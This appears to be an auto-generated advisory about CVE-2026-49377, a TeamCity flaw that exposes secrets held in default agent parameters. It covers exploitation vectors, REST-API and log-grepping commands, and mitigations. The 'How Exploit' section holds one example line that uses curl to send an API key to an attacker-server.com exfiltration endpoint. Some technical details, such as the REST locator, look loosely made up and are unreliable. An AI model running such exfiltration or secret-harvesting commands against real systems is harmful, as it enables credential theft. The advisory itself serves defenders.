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How CVE-2026-49377 Works
CVE-2026-49377 is an information disclosure vulnerability affecting JetBrains TeamCity, a widely used continuous integration and deployment (CI/CD) platform. The vulnerability, which exists in versions before 2025.11.2, is rooted in the improper handling of default agent parameters, which can inadvertently expose sensitive data.
The core of the issue lies in how TeamCity manages configuration parameters for its build agents. These agents are the workers that execute build jobs. Administrators can set default parameters that are inherited by all agents. The vulnerability arises because the platform fails to adequately sanitize or restrict access to these default parameters during build execution. Consequently, if a default parameter contains a sensitive value—such as an API key, password, or a deployment token—this value can become accessible to unauthorized parties.
This exposure can happen through multiple vectors. For example, a build script or a plugin with lower privileges might be able to read these parameters even if it shouldn’t have access to that data. The technical flaw is in the agent parameter processing logic, which does not effectively distinguish between public and private parameters, leading to potential information leakage.
The impact is significant. An attacker who can access these default agent parameters could gain unauthorized access to production credentials, enabling them to perform unauthorized deployments, access protected systems, or escalate privileges within the development infrastructure. This is especially dangerous in multi-tenant environments where different teams share the same infrastructure, as it could lead to cross-contamination of sensitive data. Organizations are advised to immediately upgrade to TeamCity version 2025.11.2 or later, where the vulnerability has been addressed through improved parameter handling and access control mechanisms.
DailyCVE Form:
Platform: JetBrains TeamCity
Version: < 2025.11.2
Vulnerability: Sensitive data exposure
Severity: Medium
date: May 29, 2026
Prediction: July 15, 2026
What Undercode Say:
Check current TeamCity version cat /opt/teamcity/buildAgent/conf/buildAgent.properties | grep version List all default agent parameters (may expose sensitive data) curl -k -u user:pass "https://teamcity.example.com/app/rest/agents" Search build logs for exposed secrets grep -ri "token" /opt/teamcity/logs/ --color=always Use TeamCity REST API to fetch agent details (potential exposure vector) curl -k -u user:pass "https://teamcity.example.com/app/rest/agents/id:1" Check for agents inheriting default parameters curl -k -u user:pass "https://teamcity.example.com/app/rest/agents?locator=defaultParameters:true" Monitor for suspicious access to parameter endpoints tail -f /opt/teamcity/logs/teamcity-agent.log | grep -i "parameter"
Code Snippet (Vulnerable Context):
Hypothetical vulnerable agent script accessing default parameters
import os
Default parameters are exposed as environment variables
api_key = os.environ.get('DEFAULT_API_KEY')
db_password = os.environ.get('DEFAULT_DB_PASSWORD')
This sensitive data could be logged or exposed
print(f"Connecting to database with password: {db_password}")
How Exploit:
The exploitation of CVE-2026-49377 does not require a complex chain of attacks. The core vulnerability—exposure of sensitive data via default agent parameters—can be exploited by any user with the ability to invoke or observe a build process. Here are the primary exploitation vectors:
1. Build Log Review: An attacker with access to a build’s execution log can simply search for or view the output of the build process. If a build step, script, or plugin prints the value of a default parameter (e.g., for debugging), the sensitive data is directly exposed in plain text. This can be as simple as a `print` statement, an `echo` command, or an error message that includes the parameter value.
2. Build Artifact Extraction: The default parameters might be written to a file as part of the build process (e.g., a configuration file or a temporary script). An attacker with access to the build’s resulting artifacts (e.g., a JAR file, a Docker image, or a log archive) could extract this file and obtain the exposed secrets.
3. Build Script Injection: If an attacker can influence a build script (e.g., through a malicious pull request that gets merged), they can inject code that reads the default parameters from the environment and sends them to an external server. For example:
Malicious code in a build script curl -X POST https://attacker-server.com/exfil -d "api_key=$DEFAULT_API_KEY"
4. Unauthorized REST API Access: The TeamCity REST API exposes endpoints that can provide information about build parameters. An attacker who has obtained API credentials (e.g., through a previous breach) could query these endpoints to retrieve sensitive default parameters directly.
5. Lateral Movement from Less-Privileged Contexts: In a multi-tenant setup, a user from a lower-privileged project might be able to trigger a build or view its logs. If the system-wide default parameters contain secrets for a higher-privileged project, this creates a clear path for privilege escalation and lateral movement across projects.
The commonality across all these vectors is the attacker’s ability to gain any form of visibility into a build process or its outputs. The flaw lies in the fact that the system does not enforce sufficient controls to prevent sensitive default parameters from being accessible in these contexts.
Protection:
Protecting against CVE-2026-49377 involves immediate updates and long-term configuration changes.
– Immediate Action: Upgrade your TeamCity server and all build agents to version 2025.11.2 or a later release immediately. This is the only official fix that patches the core logic flaw in parameter handling.
– Parameter Review and Sanitization: Immediately audit all default agent parameters. For any parameter that stores a secret (e.g., api_key, db_password, deployment_token):
– Convert to “Password” Type: Change the parameter type to “Password”. This built-in TeamCity feature ensures that the value is masked with asterisks (“) in the web UI and, crucially, in build logs.
– Remove from Defaults: If the secret is not required by every agent, remove it from the default parameters. Instead, define it as a configuration parameter only on the specific build configurations or agents that absolutely need it.
– Use a Secrets Manager: For highly sensitive or frequently rotated secrets, do not store them in TeamCity parameters at all. Integrate TeamCity with an external secrets management tool like HashiCorp Vault, AWS Secrets Manager, or Azure Key Vault. The build script would then fetch the secret only at runtime, reducing the exposure window.
– Network Segmentation: Apply strict network segmentation. Ensure that your TeamCity server and build agents are isolated on a management network or VLAN that is not directly accessible from the public internet. Use a firewall to restrict inbound access to only trusted sources.
– Access Control: Implement strict access controls on the TeamCity server itself. Follow the principle of least privilege:
– Regularly audit user roles and permissions.
– Remove the `View build runtime parameters and data` permission from any user who does not absolutely need it.
– Avoid using the default `Administrator` account for routine tasks.
– Logging and Monitoring: Actively monitor TeamCity system logs. Configure your SIEM to alert on suspicious patterns, such as:
– Frequent or large-volume access to build logs or the REST API from a single IP address.
– Access attempts from unusual geographic locations or at odd hours.
– Errors or other indicators that might suggest someone is probing for exposed parameters.
Impact
- System-Wide Exposure of Secrets: Any API key, password, token, or other credential stored as a default agent parameter is at risk of exposure to any user who can initiate or monitor a build.
- Full CI/CD Pipeline Compromise: Exposed credentials can allow an attacker to modify build pipelines, inject malicious code into artifacts, or push unauthorized deployments to production.
- Privilege Escalation: An attacker with low-level access can obtain credentials for databases, cloud infrastructure (AWS/GCP/Azure), container registries, or source code repositories, leading to a complete escalation of privileges.
- Lateral Movement in Multi-Tenant Environments: In shared TeamCity instances, a breach of one project’s parameters can expose secrets for unrelated projects, enabling lateral movement across the entire development infrastructure.
- Data Breach and Exfiltration: Access to production database credentials or cloud storage keys could lead to the exfiltration of sensitive customer data, intellectual property, or financial information.
- Supply Chain Attack: If a malicious actor compromises the CI/CD pipeline, they can inject backdoors or malware into software builds. These compromised artifacts are then distributed to customers or internal systems, causing widespread damage that extends far beyond the compromised company.
- Regulatory and Compliance Failures: Data breaches resulting from this vulnerability can lead to severe regulatory penalties (e.g., GDPR fines) and a significant loss of customer trust.
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Sources:
Reported By: nvd.nist.gov
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